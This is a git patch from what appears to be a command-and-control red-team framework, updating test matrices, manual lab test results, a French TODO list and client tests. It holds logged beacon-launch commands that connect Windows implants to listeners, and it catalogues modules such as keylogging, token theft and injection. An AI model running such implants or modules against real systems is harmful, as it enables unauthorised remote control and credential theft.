`C2CLIENT-SESSION-PANEL-001` | C2Client | Sessions panel | client | n/a | any | n/a | pass | untested | | partial | auto+manual | high | `C2CLIENT-CONFIG-CERT-001` | C2Client | TLS certificate config | client | n/a | https | n/a | pass | untested | -| partial | auto+manual | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | client | n/a | https | hosted | pass | untested | +| pass | auto+manual | critical | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | client | n/a | https | hosted | pass | pass | | partial | auto+manual | high | `C2CLIENT-TERMINAL-BASE-001` | C2Client | Terminal tab | client | n/a | n/a | n/a | pass | untested | | partial | auto+manual | high | `COMMON-END-001` | CommonCommands | end | any | any | any | n/a | pass | untested | | partial | auto+manual | critical | `COMMON-HELP-001` | CommonCommands | help | any | any | any | command_specs | pass | untested | -| partial | auto+manual | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | any | any | any | modules | pass | untested | +| pass | auto+manual | high | `COMMON-LISTMODULE-001` | CommonCommands | listModule | any | any | any | modules | pass | pass | | partial | auto+manual | high | `COMMON-LISTENER-001` | CommonCommands | listener | any | any | any | n/a | pass | untested | -| partial | auto+manual | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | any | any | any | modules | pass | untested | +| pass | auto+manual | critical | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | any | any | any | modules | pass | pass | | partial | auto+manual | high | `COMMON-SLEEP-001` | CommonCommands | sleep | any | any | any | n/a | pass | untested | -| partial | auto+manual | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | any | any | any | modules | pass | untested | +| pass | auto+manual | critical | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | any | any | any | modules | pass | pass | | untested | auto+manual | medium | `LISTENER-DNS-001` | Listeners | DNS listener | any | any | dns | n/a | untested | untested | | untested | auto+manual | medium | `LISTENER-GITHUB-001` | Listeners | GitHub listener | any | any | github | n/a | untested | untested | | untested | manual | high | `LISTENER-HTTP-001` | Listeners | HTTP listener | any | any | http | n/a | n/a | untested | -| partial | auto+manual | critical | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | any | any | https | hosted | pass | untested | +| pass | auto+manual | critical | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | any | any | https | hosted | pass | pass | | untested | auto+manual | high | `LISTENER-SMB-001` | Listeners | SMB listener | windows | any | smb | n/a | untested | untested | -| untested | auto+manual | high | `LISTENER-TCP-001` | Listeners | TCP listener | any | any | tcp | n/a | untested | untested | +| partial | auto+manual | high | `LISTENER-TCP-001` | Listeners | TCP listener | any | any | tcp | n/a | untested | pass | | pass | auto | critical | `MODULE-COMMANDSPEC-COVERAGE-001` | Modules | CommandSpec coverage | teamserver | n/a | n/a | command_specs | pass | n/a | | partial | auto+manual | high | `MODULE-SIMPLE-FILESYSTEM-001` | Modules | Simple filesystem modules | any | any | https | any | pass | untested | | partial | auto+manual | high | `MODULE-SIMPLE-SYSTEM-001` | Modules | Simple system info/process modules | any | any | https | n/a | pass | untested | @@ -55,8 +55,8 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | high | `MODULE-WINDOWS-PRIVILEGE-001` | Modules | Windows privilege/token modules | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-WINDOWS-EXEC-001` | Modules | Windows remote execution modules | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | critical | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | windows | x64 | https | generated | pass | untested | -| partial | auto+manual | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | any | any | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | any | any | https | n/a | pass | untested | +| pass | auto+manual | medium | `MODULE-CAT-CONTRACT-001` | Modules | cat | any | any | https | n/a | pass | pass | +| pass | auto+manual | medium | `MODULE-CD-CONTRACT-001` | Modules | cd | any | any | https | n/a | pass | pass | | partial | auto+manual | high | `MODULE-CHISEL-CONTRACT-001` | Modules | chisel | windows | x64 | https | tools | pass | untested | | partial | auto+manual | medium | `MODULE-CIMEXEC-CONTRACT-001` | Modules | cimExec | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-COFFLOADER-CONTRACT-001` | Modules | coffLoader | windows | x64 | https | tools | pass | untested | @@ -73,7 +73,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | medium | `MODULE-KEYLOGGER-CONTRACT-001` | Modules | keyLogger | windows | x64 | https | generated | pass | untested | | planned | planned | medium | `MODULE-KEYLOGGER-GENERATED-ARTIFACT-002` | Modules | keyLogger generated artifact | windows | x64 | https | generated | n/a | n/a | | partial | auto+manual | medium | `MODULE-KILLPROCESS-CONTRACT-001` | Modules | killProcess | any | any | https | n/a | pass | untested | -| partial | auto+manual | medium | `MODULE-LS-CONTRACT-001` | Modules | ls | any | any | https | n/a | pass | untested | +| pass | auto+manual | medium | `MODULE-LS-CONTRACT-001` | Modules | ls | any | any | https | n/a | pass | pass | | partial | auto+manual | medium | `MODULE-MAKETOKEN-CONTRACT-001` | Modules | makeToken | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-MINIDUMP-CONTRACT-001` | Modules | miniDump | windows | x64 | https | generated | pass | untested | | partial | auto+manual | medium | `MODULE-MKDIR-CONTRACT-001` | Modules | mkDir | any | any | https | n/a | pass | untested | @@ -87,7 +87,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | medium | `MODULE-REMOVE-CONTRACT-001` | Modules | remove | any | any | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-REV2SELF-CONTRACT-001` | Modules | rev2self | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | high | `MODULE-REVERSEPORTFORWARD-CONTRACT-001` | Modules | reversePortForward | any | any | https | n/a | pass | untested | -| partial | auto+manual | high | `MODULE-RUN-CONTRACT-001` | Modules | run | any | any | https | n/a | pass | untested | +| pass | auto+manual | high | `MODULE-RUN-CONTRACT-001` | Modules | run | any | any | https | n/a | pass | pass | | partial | auto+manual | high | `MODULE-SCREENSHOT-CONTRACT-001` | Modules | screenShot | windows | x64 | https | generated | pass | untested | | partial | auto+manual | high | `MODULE-SCRIPT-CONTRACT-001` | Modules | script | any | any | https | scripts | pass | untested | | partial | auto+manual | high | `MODULE-SHELL-CONTRACT-001` | Modules | shell | any | any | https | n/a | pass | untested | @@ -96,7 +96,7 @@ _Generated by `scripts/generate-test-state.py`._ | partial | auto+manual | medium | `MODULE-STEALTOKEN-CONTRACT-001` | Modules | stealToken | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-TASKSCHEDULER-CONTRACT-001` | Modules | taskScheduler | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-TREE-CONTRACT-001` | Modules | tree | any | any | https | n/a | pass | untested | -| partial | auto+manual | critical | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | any | any | https | uploaded | pass | untested | +| pass | auto+manual | critical | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | any | any | https | uploaded | pass | pass | | partial | auto+manual | medium | `MODULE-WHOAMI-CONTRACT-001` | Modules | whoami | any | any | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-WINRM-CONTRACT-001` | Modules | winRm | windows | x64 | https | n/a | pass | untested | | partial | auto+manual | medium | `MODULE-WMIEXEC-CONTRACT-001` | Modules | wmiExec | windows | x64 | https | n/a | pass | untested | @@ -107,7 +107,7 @@ _Generated by `scripts/generate-test-state.py`._ | pass | auto | critical | `TEAMSERVER-COMMAND-PREPARATION-001` | TeamServer | Command preparation | teamserver | any | any | any | pass | n/a | | partial | auto+manual | critical | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | teamserver | any | any | generated | pass | untested | | pass | auto | critical | `TEAMSERVER-GENERATED-ARTIFACTS-001` | TeamServer | Generated artifact store | teamserver | any | n/a | generated | pass | n/a | -| partial | auto+manual | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | teamserver | n/a | https | hosted | pass | untested | +| pass | auto+manual | high | `TEAMSERVER-HOSTED-ARTIFACTS-001` | TeamServer | Hosted artifacts | teamserver | n/a | https | hosted | pass | pass | | partial | auto+manual | high | `TEAMSERVER-LISTENER-ARTIFACT-SERVICE-001` | TeamServer | Listener artifact service | teamserver | any | any | beacons | pass | untested | | partial | auto+manual | critical | `TEAMSERVER-LISTENER-SESSION-SERVICE-001` | TeamServer | Listener/session service | teamserver | any | any | n/a | pass | untested | | partial | auto+manual | critical | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | teamserver | any | n/a | any | pass | untested | diff --git a/docs/TEST_STATE.md b/docs/TEST_STATE.md index ad0ba9d..b8f6615 100644 --- a/docs/TEST_STATE.md +++ b/docs/TEST_STATE.md @@ -10,11 +10,11 @@ _Generated by `scripts/generate-test-state.py`._ | Status | Count | |---|---:| -| pass | 6 | -| fail | 0 | +| pass | 23 | +| fail | 1 | | blocked | 0 | -| partial | 96 | -| untested | 9 | +| partial | 79 | +| untested | 8 | | planned | 2 | ## Validation Modes @@ -30,14 +30,14 @@ _Generated by `scripts/generate-test-state.py`._ | Area | Pass | Fail | Blocked | Partial | Untested | Planned | Total | |---|---:|---:|---:|---:|---:|---:|---:| -| Artifacts | 0 | 0 | 0 | 5 | 0 | 0 | 5 | -| Beacon | 0 | 0 | 0 | 5 | 0 | 0 | 5 | -| C2Client | 2 | 0 | 0 | 18 | 0 | 1 | 21 | -| CommonCommands | 0 | 0 | 0 | 7 | 0 | 0 | 7 | -| Listeners | 0 | 0 | 0 | 1 | 5 | 0 | 6 | -| Modules | 1 | 0 | 0 | 50 | 0 | 1 | 52 | +| Artifacts | 1 | 0 | 0 | 4 | 0 | 0 | 5 | +| Beacon | 3 | 0 | 0 | 2 | 0 | 0 | 5 | +| C2Client | 5 | 1 | 0 | 14 | 0 | 1 | 21 | +| CommonCommands | 3 | 0 | 0 | 4 | 0 | 0 | 7 | +| Listeners | 1 | 0 | 0 | 1 | 4 | 0 | 6 | +| Modules | 6 | 0 | 0 | 45 | 0 | 1 | 52 | | Release | 0 | 0 | 0 | 0 | 2 | 0 | 2 | -| TeamServer | 3 | 0 | 0 | 9 | 0 | 0 | 12 | +| TeamServer | 4 | 0 | 0 | 8 | 0 | 0 | 12 | | Validation | 0 | 0 | 0 | 1 | 2 | 0 | 3 | ## Critical Non-Pass @@ -49,23 +49,14 @@ _Generated by `scripts/generate-test-state.py`._ | partial | `ARTIFACT-TOOLS-001` | Artifacts | Tools | pass | untested | | partial | `BEACON-CORE-CHUNKED-RESULTS-001` | Beacon | Chunked command results | pass | untested | | partial | `BEACON-CORE-HEARTBEAT-001` | Beacon | Heartbeat and state | pass | untested | -| partial | `BEACON-CORE-MODULE-LIFECYCLE-001` | Beacon | Module lifecycle | pass | untested | -| partial | `BEACON-CORE-REGISTER-001` | Beacon | Registration and metadata | pass | untested | -| partial | `BEACON-CORE-TASK-QUEUE-001` | Beacon | Task queue | pass | untested | -| partial | `C2CLIENT-ARTIFACTS-LIST-001` | C2Client | Artifacts tab | pass | untested | | partial | `C2CLIENT-CONSOLE-AUTOCOMPLETE-001` | C2Client | Beacon console autocomplete | pass | untested | | partial | `C2CLIENT-STARTUP-GUI-001` | C2Client | GUI startup | pass | untested | -| partial | `C2CLIENT-TERMINAL-HOST-001` | C2Client | Terminal host command | pass | untested | | partial | `COMMON-HELP-001` | CommonCommands | help | pass | untested | -| partial | `COMMON-LOADMODULE-001` | CommonCommands | loadModule | pass | untested | -| partial | `COMMON-UNLOADMODULE-001` | CommonCommands | unloadModule | pass | untested | -| partial | `LISTENER-HTTPS-001` | Listeners | HTTPS listener | pass | untested | | partial | `MODULE-ASSEMBLYEXEC-CONTRACT-001` | Modules | assemblyExec | pass | untested | | partial | `MODULE-DOWNLOAD-CONTRACT-001` | Modules | download | pass | untested | | partial | `MODULE-INJECT-CONTRACT-001` | Modules | inject | pass | untested | | partial | `MODULE-POWERSHELL-CONTRACT-001` | Modules | powershell | pass | untested | | partial | `MODULE-PWSH-CONTRACT-001` | Modules | pwSh | pass | untested | -| partial | `MODULE-UPLOAD-CONTRACT-001` | Modules | upload | pass | untested | | partial | `TEAMSERVER-ARTIFACT-CATALOG-001` | TeamServer | Artifact catalog | pass | untested | | partial | `TEAMSERVER-CONFIG-DIRECTORIES-001` | TeamServer | Runtime directory layout | pass | untested | | partial | `TEAMSERVER-FILE-TRANSFER-001` | TeamServer | File transfer service | pass | untested | diff --git a/docs/testing/manual-results.yaml b/docs/testing/manual-results.yaml index 072ed1d..1cee2f0 100644 --- a/docs/testing/manual-results.yaml +++ b/docs/testing/manual-results.yaml @@ -16,4 +16,155 @@ allowed_statuses: [pass, fail, blocked, untested] # evidence: "Windows x64 HTTPS beacon connected, ran pwd/ls/download/screenShot, hosted artifact fetched." # notes: "Lab VM: WIN11-x64." -results: [] +results: + - id: LISTENER-HTTPS-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: ".\\BeaconHttp.exe 172.28.141.244 8443 https -> connection OK." + notes: "Windows beacon over HTTPS listener 8443." + + - id: BEACON-CORE-REGISTER-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: ".\\BeaconHttp.exe 172.28.141.244 8443 https connected and appeared in the client. .\\BeaconTcp.exe 172.28.141.244 4444 also connected successfully." + notes: "Windows beacon registration validated through HTTPS and TCP connections." + + - id: C2CLIENT-ARTIFACTS-LIST-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Uploaded TXT artifact was visible in Artifacts tab and its ID could be copied from the panel." + notes: "Validated through Artifacts panel workflow." + + - id: C2CLIENT-ARTIFACTS-UPLOAD-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Uploaded a TXT file from the Artifacts tab." + notes: "Operator-uploaded artifact creation works from the client UI." + + - id: ARTIFACT-UPLOADED-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Uploaded TXT artifact was addressable by ID copied from the Artifacts panel. Upload command also resolved text.txt by name and 2941ace693c5f011f3c84b7e49ddb27a9bf0316f228df504289d849f38dc2549 by ID." + notes: "Uploaded artifact lookup worked for host and beacon upload workflows." + + - id: C2CLIENT-TERMINAL-HOST-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Hosted the uploaded TXT artifact from Terminal using the copied artifact ID, then downloaded the hosted file from the browser." + notes: "Terminal host command works with artifact ID." + + - id: TEAMSERVER-HOSTED-ARTIFACTS-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Hosted artifact was served by TeamServer and could be downloaded from a browser." + notes: "GeneratedArtifacts/hosted path validated through browser download." + + - id: C2CLIENT-ARTIFACTS-DELETE-001 + status: fail + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Could not delete the uploaded artifact from the Artifacts tab." + notes: "Uploaded artifact delete is not working or not exposed correctly in the UI/API." + + - id: COMMON-LOADMODULE-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Loaded run.dll successfully over HTTPS. Loaded upload, cd, ls, and cat successfully over TCP. Duplicate loadModule upload was rejected with: Module already tracked on this beacon: upload (loaded)." + notes: "Windows beacon module loading and duplicate-load rejection validated." + + - id: COMMON-LISTMODULE-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "listModule returned loaded modules cat, ls, cd, upload. After unloadModule cat, listModule returned ls, cd, upload." + notes: "Windows beacon over TCP." + + - id: COMMON-UNLOADMODULE-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "unloadModule cat completed with Success. A following cat toto.testupload returned Module not loaded." + notes: "Windows beacon over TCP." + + - id: MODULE-RUN-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Executed dir through loaded run.dll successfully." + notes: "Windows beacon over HTTPS." + + - id: BEACON-CORE-TASK-QUEUE-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Queued and completed loadModule run.dll, then executed dir successfully. TCP path also queued/completed loadModule upload/cd/ls/cat, cd, ls, upload, and cat commands." + notes: "Validates live beacon task queue and command result flow over HTTPS and TCP paths." + + - id: BEACON-CORE-MODULE-LIFECYCLE-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Loaded upload, cd, ls, and cat modules. listModule showed all loaded. Duplicate loadModule upload was rejected. unloadModule cat succeeded. cat then returned Module not loaded. listModule no longer showed cat." + notes: "Windows beacon module load/list/duplicate/unload lifecycle validated over TCP." + + - id: LISTENER-TCP-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "Created TCP listener on 4444. .\\BeaconTcp.exe 172.28.141.244 4444 -> connection OK. loadModule/cd/ls/upload/cat commands completed over TCP." + notes: "Windows beacon over TCP listener 4444." + + - id: MODULE-CD-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "cd C:\\users\\max\\desktop completed and returned C:\\users\\max\\desktop." + notes: "Windows beacon over TCP." + + - id: MODULE-LS-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "ls listed C:\\users\\max\\desktop and later showed toto.testupload after upload." + notes: "Windows beacon over TCP." + + - id: MODULE-UPLOAD-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "upload without args returned Usage: upload . upload text.txt toto.testupload succeeded and ls showed toto.testupload. upload 2941ace693c5f011f3c84b7e49ddb27a9bf0316f228df504289d849f38dc2549 testWithId also succeeded." + notes: "Validated usage error, upload by artifact name, and upload by artifact ID over TCP." + + - id: MODULE-CAT-CONTRACT-001 + status: pass + date: "2026-05-07" + build: "local-dev" + tester: "max" + evidence: "cat toto.testupload returned toto." + notes: "Windows beacon over TCP." diff --git a/docs/testing/test-catalog.yaml b/docs/testing/test-catalog.yaml index cc7adcf..50b3a18 100644 --- a/docs/testing/test-catalog.yaml +++ b/docs/testing/test-catalog.yaml @@ -229,13 +229,13 @@ entries: - id: C2CLIENT-ARTIFACTS-DELETE-001 area: C2Client feature: Artifact delete - scenario: "Delete generated and hosted artifacts using artifact IDs, not legacy terminal paths." + scenario: "Delete uploaded, generated, and hosted artifacts using artifact IDs, not legacy terminal paths." priority: high validation: auto+manual axes: {os: client, arch: n/a, listener: n/a, artifact_category: generated} evidence: auto: ["C2Client/tests/test_artifact_panel.py"] - manual: ["Delete a generated screenshot and a hosted artifact from Artifacts tab."] + manual: ["Delete an uploaded artifact, a generated screenshot, and a hosted artifact from Artifacts tab."] - id: C2CLIENT-HOOKS-PANEL-001 area: C2Client From bed13f513d86ea1df39b2c4eb6ca1965289679b2 Mon Sep 17 00:00:00 2001 From: maxdcb <40819564+maxDcb@users.noreply.github.com> Date: Thu, 7 May 2026 20:29:49 +0200 Subject: [PATCH 51/82] manual test --- C2Client/C2Client/ConsolePanel.py | 2 +- C2Client/TODO.md | 29 +++--- C2Client/tests/test_console_panel.py | 27 ++++-- core | 2 +- docs/TEST_GAPS.md | 18 ++-- docs/TEST_MATRIX.md | 24 ++--- docs/TEST_STATE.md | 35 ++++--- docs/testing/manual-results.yaml | 96 +++++++++++++++++++ protocol/TeamServerApi.proto | 1 + .../teamServer/TeamServerArtifactCatalog.cpp | 1 + .../teamServer/TeamServerArtifactCatalog.hpp | 1 + .../teamServer/TeamServerArtifactService.cpp | 1 + .../teamServer/TeamServerCommandCatalog.cpp | 1 + .../teamServer/TeamServerCommandCatalog.hpp | 1 + .../TeamServerCommandCatalogService.cpp | 2 + .../teamServer/TeamServerHelpService.cpp | 2 + .../tests/TeamServerArtifactCatalogTests.cpp | 14 +++ .../tests/TeamServerCommandCatalogTests.cpp | 2 + 18 files changed, 191 insertions(+), 68 deletions(-) diff --git a/C2Client/C2Client/ConsolePanel.py b/C2Client/C2Client/ConsolePanel.py index 8d9ec62..0db3e38 100644 --- a/C2Client/C2Client/ConsolePanel.py +++ b/C2Client/C2Client/ConsolePanel.py @@ -435,7 +435,7 @@ def _arg_has_artifact_filter(arg: Any) -> bool: def _artifact_query_from_filter(artifact_filter: Any, session: Any | None) -> Any: query = TeamServerApi_pb2.ArtifactQuery() - for field_name in ("category", "scope", "target", "platform", "arch", "runtime", "name_contains"): + for field_name in ("category", "scope", "target", "platform", "arch", "runtime", "name_contains", "format"): value = _resolve_filter_value(getattr(artifact_filter, field_name, ""), session) if value: setattr(query, field_name, value) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 3eefb87..d147124 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -21,18 +21,19 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 13 | [x] | Ameliorer le formulaire listener | M | Moyen | Fait. Validation port/IP/domain/token avant RPC, defaults par type, aide inline, erreurs inline et bouton Add bloque tant que les champs sont invalides. | | 14 | [ ] | Ajouter un panneau details session | M | Fort | Vue laterale avec metadata, listeners associes, notes locales, dernieres commandes, boutons d'action contextuels. | | 15 | [x] | Ameliorer le graph | M | Moyen | Fait. Layout auto qui separe listeners/beacons/pivots, positions manuelles preservees, boutons Auto/Fit/+/- zoom, labels/tooltips, fond sombre et connecteurs recalcules. | -| 16 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | -| 17 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | -| 18 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | -| 19 | [ ] | Persister `keyLogger` en artefact live | L | Fort | Ecrire chaque `followUp` dans un fichier `GeneratedArtifacts/keylogger/beacon`, nomme avec hostname + timestamp, visible dans `Artifacts` sans action `dump`; mettre a jour le sidecar/hash a chaque append et garder `stop` limite a l'arret du module. | -| 20 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | -| 21 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | -| 22 | [ ] | Ajouter un credential store serveur pour les modules | XL | Tres fort | Store central cote TeamServer avec RPC list/search/add/update/delete, audit et masquage des secrets; ajouter un `credential_filter` aux CommandSpecs pour autocompleter les modules qui prennent des credentials (`psExec`, `wmiExec`, `winRm`, `dcomExec`, `spawnAs`, `makeToken`, etc.) sans exposer les mots de passe. | -| 23 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | -| 24 | [ ] | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | -| 25 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | -| 26 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | -| 27 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | +| 16 | [ ] | Reduire la taille des artefacts `screenShot` | M | Moyen | Test reel: `desktop.bmp` genere environ 42 MB. Etudier PNG/JPEG cote module ou conversion TeamServer, option format/qualite, conservation du hash/sidecar et affichage clair dans `Artifacts`. | +| 17 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | +| 18 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. | +| 19 | [x] | Ajouter `ListCommands` / `ListModules` structure | L | Tres fort | Fait. `ListCommands` expose le catalogue serveur, tab UI `Commands`, autocomplete console sans fallback hardcode, specs simples pour modules, `GetCommandHelp` genere l'aide depuis les specs, `ListModules` stream les modules suivis par beacon, `listModule` affiche name/status dans la console, `loadModule` cache les modules actifs et `unloadModule` propose les modules charges. Persistence/historique modules reportes aux items audit/historique. | +| 20 | [ ] | Persister `keyLogger` en artefact live | L | Fort | Ecrire chaque `followUp` dans un fichier `GeneratedArtifacts/keylogger/beacon`, nomme avec hostname + timestamp, visible dans `Artifacts` sans action `dump`; mettre a jour le sidecar/hash a chaque append et garder `stop` limite a l'arret du module. | +| 21 | [ ] | Ajouter `ValidateCommand` / `DryRunCommand` | L | Tres fort | Verifier une commande sans l'envoyer au beacon; retourner erreur, hint, instruction preparee, fichiers requis. | +| 22 | [ ] | Ajouter un modele d'erreurs type dans le proto | L | Fort | `code`, `message`, `hint`, `details`; eviter de parser du texte libre cote client. | +| 23 | [ ] | Ajouter un credential store serveur pour les modules | XL | Tres fort | Store central cote TeamServer avec RPC list/search/add/update/delete, audit et masquage des secrets; ajouter un `credential_filter` aux CommandSpecs pour autocompleter les modules qui prennent des credentials (`psExec`, `wmiExec`, `winRm`, `dcomExec`, `spawnAs`, `makeToken`, etc.) sans exposer les mots de passe. | +| 24 | [ ] | Ajouter historique/audit operateur cote serveur | XL | Tres fort | Qui a envoye quoi, quand, sur quelle session, command_id, resultat, statut. Base pour recherche, replay, reporting. | +| 25 | [ ] | Ajouter `GetCommandStatus` / `ListCommandHistory` / `CancelCommand` | XL | Tres fort | Suivi propre des commandes queued/running/done/error/cancelled; utile pour console, assistant et workflows longs. | +| 26 | [ ] | Ajouter tags/notes/assignation sessions cote serveur | XL | Fort | Tags persistants, notes operationnelles, owner operateur, priorite, commentaires. | +| 27 | [ ] | Ajouter `StreamEvents` global | XL | Tres fort | Flux unique pour sessions, listeners, commandes, logs et erreurs; remplacer le polling toutes les 2 secondes. | +| 28 | [ ] | Ajouter upload/download chunked avec progression | XL | Fort | Progression, checksum, reprise partielle, erreurs propres, limites configurables. | ## Details `.env` @@ -89,5 +90,5 @@ C2_SHELLCODE_MODULES_DIR= 1. Phase 1: items 1 a 8. Aucun changement proto, beaucoup d'UX gagnee vite. 2. Phase 2: items 9 a 16. Client plus productif, tables/console/graph vraiment exploitables. -3. Phase 3: items 17 a 21. Contrat client-server propre pour capabilities, commandes, erreurs et artefacts generes par flux. -4. Phase 4: items 22 a 27. Fonctionnalites operationnelles avancees, credential store serveur, audit et reduction du polling. +3. Phase 3: items 18 a 22. Contrat client-server propre pour capabilities, commandes, erreurs et artefacts generes par flux. +4. Phase 4: items 23 a 28. Fonctionnalites operationnelles avancees, credential store serveur, audit et reduction du polling. diff --git a/C2Client/tests/test_console_panel.py b/C2Client/tests/test_console_panel.py index 6761876..b3beb64 100644 --- a/C2Client/tests/test_console_panel.py +++ b/C2Client/tests/test_console_panel.py @@ -514,16 +514,20 @@ def __init__(self): def listArtifacts(self, query): self.queries.append(query) + if query.category == "tool" and query.platform == "windows": + assert query.arch == "x64" + assert query.format in {"exe", "dll", "bin"} if query.category == "beacon" and query.name_contains == ".exe": + assert query.format == "exe" return iter([SimpleNamespace(name="BeaconHttp.exe", display_name="BeaconHttp.exe")]) - if query.category == "tool" and query.name_contains == ".exe": + if query.category == "tool" and query.name_contains == ".exe" and query.format == "exe": return iter([ SimpleNamespace(name="windows/Seatbelt.exe", display_name="Seatbelt.exe"), SimpleNamespace(name="SharpHound.exe", display_name="SharpHound.exe"), ]) - if query.name_contains == ".dll": + if query.name_contains == ".dll" and query.format == "dll": return iter([SimpleNamespace(name="Tools/Example.dll", display_name="Example.dll")]) - if query.name_contains == ".bin": + if query.name_contains == ".bin" and query.format == "bin": return iter([SimpleNamespace(name="payloads/loader.bin", display_name="loader.bin")]) return iter([]) @@ -532,8 +536,9 @@ def listArtifacts(self, query): scope="server", target="teamserver", platform="windows", - arch="", + arch="session.arch", runtime="any", + format="exe", name_contains=".exe", ) artifact_filter_dll = SimpleNamespace( @@ -541,8 +546,9 @@ def listArtifacts(self, query): scope="server", target="teamserver", platform="windows", - arch="", + arch="session.arch", runtime="any", + format="dll", name_contains=".dll", ) artifact_filter_bin = SimpleNamespace( @@ -550,8 +556,9 @@ def listArtifacts(self, query): scope="server", target="teamserver", platform="windows", - arch="", + arch="session.arch", runtime="any", + format="bin", name_contains=".bin", ) artifact_filter_beacon_exe = SimpleNamespace( @@ -561,6 +568,7 @@ def listArtifacts(self, query): platform="windows", arch="session.arch", runtime="native", + format="exe", name_contains=".exe", ) assembly_spec = SimpleNamespace( @@ -581,7 +589,8 @@ def listArtifacts(self, query): ) grpc = FakeGrpc() - server_data = command_specs_to_completer_data([assembly_spec], grpcClient=grpc) + session = SimpleNamespace(os="Windows 11", arch="x64") + server_data = command_specs_to_completer_data([assembly_spec], grpcClient=grpc, session=session) assembly_children = _completion_children(server_data, "assemblyExec") assert ("thread", []) not in assembly_children @@ -630,7 +639,7 @@ def listArtifacts(self, query): ], ) - server_data = command_specs_to_completer_data([inject_spec], grpcClient=grpc) + server_data = 